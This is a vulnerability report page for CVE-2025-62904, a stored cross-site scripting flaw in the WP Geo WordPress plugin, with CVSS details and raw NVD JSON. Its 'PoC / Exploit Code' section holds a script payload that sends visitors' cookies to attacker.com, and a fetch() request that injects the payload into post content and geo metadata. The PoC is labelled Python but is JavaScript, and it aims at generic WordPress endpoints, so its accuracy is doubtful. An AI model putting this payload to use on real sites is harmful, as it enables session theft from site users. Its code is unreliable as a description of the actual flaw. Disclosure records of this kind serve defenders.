Security Vulnerability Report
中文
CVE-2025-62904 CVSS 6.5 MEDIUM

CVE-2025-62904

Published: 2025-10-27 02:15:50
Last Modified: 2026-04-27 18:16:29

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ben Huson WP Geo wp-geo allows Stored XSS.This issue affects WP Geo: from n/a through <= 3.5.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Geo <= 3.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62904 Stored XSS PoC for WP Geo Plugin // Target: WordPress site with WP Geo plugin <= 3.5.1 // This PoC demonstrates how to inject malicious JavaScript via geo data // The payload will be stored and executed when other users view the page const vulnerableParam = 'geo_data'; // Parameter where geo data is stored const maliciousPayload = '<script>document.location="https://attacker.com/steal?cookie='+document.cookie+'"</script>'; // Example POST request to inject XSS payload fetch(window.location.origin + '/wp-json/wp/v2/posts', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce }, body: JSON.stringify({ title: 'Test Location Post', content: maliciousPayload, meta: { geo_latitude: '51.5074', geo_longitude: '-0.1278', geo_address: maliciousPayload // XSS payload injection point } }) }); // Alternative: Inject via comment with geo metadata // POST to /wp-comments-post.php with geo metadata containing XSS

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62904", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:49.607", "lastModified": "2026-04-27T18:16:29.100", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ben Huson WP Geo wp-geo allows Stored XSS.This issue affects WP Geo: from n/a through <= 3.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-geo/vulnerability/wordpress-wp-geo-plugin-3-5-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}